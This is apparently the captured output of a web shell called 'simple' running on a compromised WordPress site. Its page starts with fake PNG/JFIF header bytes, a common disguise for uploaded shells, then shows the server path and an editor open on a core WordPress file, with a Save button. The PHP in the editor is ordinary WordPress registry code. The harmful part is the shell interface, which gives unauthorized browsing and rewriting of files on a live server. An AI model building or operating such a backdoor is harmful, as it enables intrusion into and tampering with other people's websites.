�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fvar%2F'>var</a>/<a href='?path=%2Fvar%2Fwww%2F'>www</a>/<a href='?path=%2Fvar%2Fwww%2Fvhosts%2F'>vhosts</a>/<a href='?path=%2Fvar%2Fwww%2Fvhosts%2Fvsdma.at%2F'>vsdma.at</a>/<a href='?path=%2Fvar%2Fwww%2Fvhosts%2Fvsdma.at%2Fhttpdocs%2F'>httpdocs</a>/<a href='?path=%2Fvar%2Fwww%2Fvhosts%2Fvsdma.at%2Fhttpdocs%2Fwp-includes%2F'>wp-includes</a>/<a href='?path=%2Fvar%2Fwww%2Fvhosts%2Fvsdma.at%2Fhttpdocs%2Fwp-includes%2Fabilities-api%2F'>abilities-api</a>/</p><hr><h3>✏️ Editing: class-wp-abilities-registry.php</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>&lt;?php
/**
 * Abilities API
 *
 * Defines WP_Abilities_Registry class.
 *
 * @package WordPress
 * @subpackage Abilities API
 * @since 6.9.0
 */

declare( strict_types = 1 );

/**
 * Manages the registration and lookup of abilities.
 *
 * @since 6.9.0
 * @access private
 */
final class WP_Abilities_Registry {
	/**
	 * The singleton instance of the registry.
	 *
	 * @since 6.9.0
	 * @var self|null
	 */
	private static $instance = null;

	/**
	 * Holds the registered abilities.
	 *
	 * @since 6.9.0
	 * @var WP_Ability[]
	 */
	private $registered_abilities = array();

	/**
	 * Registers a new ability.
	 *
	 * Do not use this method directly. Instead, use the `wp_register_ability()` function.
	 *
	 * @since 6.9.0
	 *
	 * @see wp_register_ability()
	 *
	 * @param string               $name The name of the ability. The name must be a string containing a namespace
	 *                                   prefix, i.e. `my-plugin/my-ability`. It can only contain lowercase
	 *                                   alphanumeric characters, dashes and the forward slash.
	 * @param array&lt;string, mixed&gt; $args {
	 *     An associative array of arguments for the ability.
	 *
	 *     @type string               $label                 The human-readable label for the ability.
	 *     @type string               $description           A detailed description of what the ability does.
	 *     @type string               $category              The ability category slug this ability belongs to.
	 *     @type callable             $execute_callback      A callback function to execute when the ability is invoked.
	 *                                                       Receives optional mixed input and returns mixed result or WP_Error.
	 *     @type callable             $permission_callback   A callback function to check permissions before execution.
	 *                                                       Receives optional mixed input and returns bool or WP_Error.
	 *     @type array&lt;string, mixed&gt; $input_schema          Optional. JSON Schema definition for the ability&#039;s input.
	 *     @type array&lt;string, mixed&gt; $output_schema         Optional. JSON Schema definition for the ability&#039;s output.
	 *     @type array&lt;string, mixed&gt; $meta                  {
	 *         Optional. Additional metadata for the ability.
	 *
	 *         @type array&lt;string, bool|null&gt; $annotations  {
	 *             Optional. Semantic annotations describing the ability&#039;s behavioral characteristics.
	 *             These annotations are hints for tooling and documentation.
	 *
	 *             @type bool|null $readonly    Optional. If true, the ability does not modify its environment.
	 *             @type bool|null $destructive Optional. If true, the ability may perform destructive updates to its environment.
	 *                                          If false, the ability performs only additive updates.
	 *             @type bool|null $idempotent  Optional. If true, calling the ability repeatedly with the same arguments
	 *                                          will have no additional effect on its environment.
	 *         }
	 *         @type bool                     $show_in_rest Optional. Whether to expose this ability in the REST API. Default false.
	 *     }
	 *     @type string               $ability_class         Optional. Custom class to instantiate instead of WP_Ability.
	 * }
	 * @return WP_Ability|null The registered ability instance on success, null on failure.
	 */
	public function register( string $name, array $args ): ?WP_Ability {
		if ( ! preg_match( &#039;/^[a-z0-9-]+\/[a-z0-9-]+$/&#039;, $name ) ) {
			_doing_it_wrong(
				__METHOD__,
				__(
					&#039;Ability name must be a string containing a namespace prefix, i.e. &quot;my-plugin/my-ability&quot;. It can only contain lowercase alphanumeric characters, dashes and the forward slash.&#039;
				),
				&#039;6.9.0&#039;
			);
			return null;
		}

		if ( $this-&gt;is_registered( $name ) ) {
			_doing_it_wrong(
				__METHOD__,
				/* translators: %s: Ability name. */
				sprintf( __( &#039;Ability &quot;%s&quot; is already registered.&#039; ), esc_html( $name ) ),
				&#039;6.9.0&#039;
			);
			return null;
		}

		/**
		 * Filters the ability arguments before they are validated and used to instantiate the ability.
		 *
		 * @since 6.9.0
		 *
		 * @param array&lt;string, mixed&gt; $args {
		 *     An associative array of arguments for the ability.
		 *
		 *     @type string               $label                 The human-readable label for the ability.
		 *     @type string               $description           A detailed description of what the ability does.
		 *     @type string               $category              The ability category slug this ability belongs to.
		 *     @type callable             $execute_callback      A callback function to execute when the ability is invoked.
		 *                                                       Receives optional mixed input and returns mixed result or WP_Error.
		 *     @type callable             $permission_callback   A callback function to check permissions before execution.
		 *                                                       Receives optional mixed input and returns bool or WP_Error.
		 *     @type array&lt;string, mixed&gt; $input_schema          Optional. JSON Schema definition for the ability&#039;s input.
		 *     @type array&lt;string, mixed&gt; $output_schema         Optional. JSON Schema definition for the ability&#039;s output.
		 *     @type array&lt;string, mixed&gt; $meta                  {
		 *         Optional. Additional metadata for the ability.
		 *
		 *         @type array&lt;string, bool|string&gt; $annotations  Optional. Annotation metadata for the ability.
		 *         @type bool                       $show_in_rest Optional. Whether to expose this ability in the REST API. Default false.
		 *     }
		 *     @type string               $ability_class         Optional. Custom class to instantiate instead of WP_Ability.
		 * }
		 * @param string               $name The name of the ability, with its namespace.
		 */
		$args = apply_filters( &#039;wp_register_ability_args&#039;, $args, $name );

		// Validate ability category exists if provided (will be validated as required in WP_Ability).
		if ( isset( $args[&#039;category&#039;] ) ) {
			if ( ! wp_has_ability_category( $args[&#039;category&#039;] ) ) {
				_doing_it_wrong(
					__METHOD__,
					sprintf(
						/* translators: %1$s: ability category slug, %2$s: ability name */
						__( &#039;Ability category &quot;%1$s&quot; is not registered. Please register the ability category before assigning it to ability &quot;%2$s&quot;.&#039; ),
						esc_html( $args[&#039;category&#039;] ),
						esc_html( $name )
					),
					&#039;6.9.0&#039;
				);
				return null;
			}
		}

		// The class is only used to instantiate the ability, and is not a property of the ability itself.
		if ( isset( $args[&#039;ability_class&#039;] ) &amp;&amp; ! is_a( $args[&#039;ability_class&#039;], WP_Ability::class, true ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( &#039;The ability args should provide a valid `ability_class` that extends WP_Ability.&#039; ),
				&#039;6.9.0&#039;
			);
			return null;
		}

		/** @var class-string&lt;WP_Ability&gt; */
		$ability_class = $args[&#039;ability_class&#039;] ?? WP_Ability::class;
		unset( $args[&#039;ability_class&#039;] );

		try {
			// WP_Ability::prepare_properties() will throw an exception if the properties are invalid.
			$ability = new $ability_class( $name, $args );
		} catch ( InvalidArgumentException $e ) {
			_doing_it_wrong(
				__METHOD__,
				$e-&gt;getMessage(),
				&#039;6.9.0&#039;
			);
			return null;
		}

		$this-&gt;registered_abilities[ $name ] = $ability;
		return $ability;
	}

	/**
	 * Unregisters an ability.
	 *
	 * Do not use this method directly. Instead, use the `wp_unregister_ability()` function.
	 *
	 * @since 6.9.0
	 *
	 * @see wp_unregister_ability()
	 *
	 * @param string $name The name of the registered ability, with its namespace.
	 * @return WP_Ability|null The unregistered ability instance on success, null on failure.
	 */
	public function unregister( string $name ): ?WP_Ability {
		if ( ! $this-&gt;is_registered( $name ) ) {
			_doing_it_wrong(
				__METHOD__,
				/* translators: %s: Ability name. */
				sprintf( __( &#039;Ability &quot;%s&quot; not found.&#039; ), esc_html( $name ) ),
				&#039;6.9.0&#039;
			);
			return null;
		}

		$unregistered_ability = $this-&gt;registered_abilities[ $name ];
		unset( $this-&gt;registered_abilities[ $name ] );

		return $unregistered_ability;
	}

	/**
	 * Retrieves the list of all registered abilities.
	 *
	 * Do not use this method directly. Instead, use the `wp_get_abilities()` function.
	 *
	 * @since 6.9.0
	 *
	 * @see wp_get_abilities()
	 *
	 * @return WP_Ability[] The array of registered abilities.
	 */
	public function get_all_registered(): array {
		return $this-&gt;registered_abilities;
	}

	/**
	 * Checks if an ability is registered.
	 *
	 * Do not use this method directly. Instead, use the `wp_has_ability()` function.
	 *
	 * @since 6.9.0
	 *
	 * @see wp_has_ability()
	 *
	 * @param string $name The name of the registered ability, with its namespace.
	 * @return bool True if the ability is registered, false otherwise.
	 */
	public function is_registered( string $name ): bool {
		return isset( $this-&gt;registered_abilities[ $name ] );
	}

	/**
	 * Retrieves a registered ability.
	 *
	 * Do not use this method directly. Instead, use the `wp_get_ability()` function.
	 *
	 * @since 6.9.0
	 *
	 * @see wp_get_ability()
	 *
	 * @param string $name The name of the registered ability, with its namespace.
	 * @return WP_Ability|null The registered ability instance, or null if it is not registered.
	 */
	public function get_registered( string $name ): ?WP_Ability {
		if ( ! $this-&gt;is_registered( $name ) ) {
			_doing_it_wrong(
				__METHOD__,
				/* translators: %s: Ability name. */
				sprintf( __( &#039;Ability &quot;%s&quot; not found.&#039; ), esc_html( $name ) ),
				&#039;6.9.0&#039;
			);
			return null;
		}
		return $this-&gt;registered_abilities[ $name ];
	}

	/**
	 * Utility method to retrieve the main instance of the registry class.
	 *
	 * The instance will be created if it does not exist yet.
	 *
	 * @since 6.9.0
	 *
	 * @return WP_Abilities_Registry|null The main registry instance, or null when `init` action has not fired.
	 */
	public static function get_instance(): ?self {
		if ( ! did_action( &#039;init&#039; ) ) {
			_doing_it_wrong(
				__METHOD__,
				sprintf(
					// translators: %s: init action.
					__( &#039;Ability API should not be initialized before the %s action has fired.&#039; ),
					&#039;&lt;code&gt;init&lt;/code&gt;&#039;
				),
				&#039;6.9.0&#039;
			);
			return null;
		}

		if ( null === self::$instance ) {
			self::$instance = new self();

			// Ensure ability category registry is initialized first to allow categories to be registered
			// before abilities that depend on them.
			WP_Ability_Categories_Registry::get_instance();

			/**
			 * Fires when preparing abilities registry.
			 *
			 * Abilities should be created and register their hooks on this action rather
			 * than another action to ensure they&#039;re only loaded when needed.
			 *
			 * @since 6.9.0
			 *
			 * @param WP_Abilities_Registry $instance Abilities registry object.
			 */
			do_action( &#039;wp_abilities_api_init&#039;, self::$instance );
		}

		return self::$instance;
	}

	/**
	 * Wakeup magic method.
	 *
	 * @since 6.9.0
	 * @throws LogicException If the registry object is unserialized.
	 *                        This is a security hardening measure to prevent unserialization of the registry.
	 */
	public function __wakeup(): void {
		throw new LogicException( __CLASS__ . &#039; should never be unserialized.&#039; );
	}

	/**
	 * Sleep magic method.
	 *
	 * @since 6.9.0
	 * @throws LogicException If the registry object is serialized.
	 *                        This is a security hardening measure to prevent serialization of the registry.
	 */
	public function __sleep(): array {
		throw new LogicException( __CLASS__ . &#039; should never be serialized.&#039; );
	}
}
</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fvar%2Fwww%2Fvhosts%2Fvsdma.at%2Fhttpdocs%2Fwp-includes%2Fabilities-api'>🔙 Back</a></p>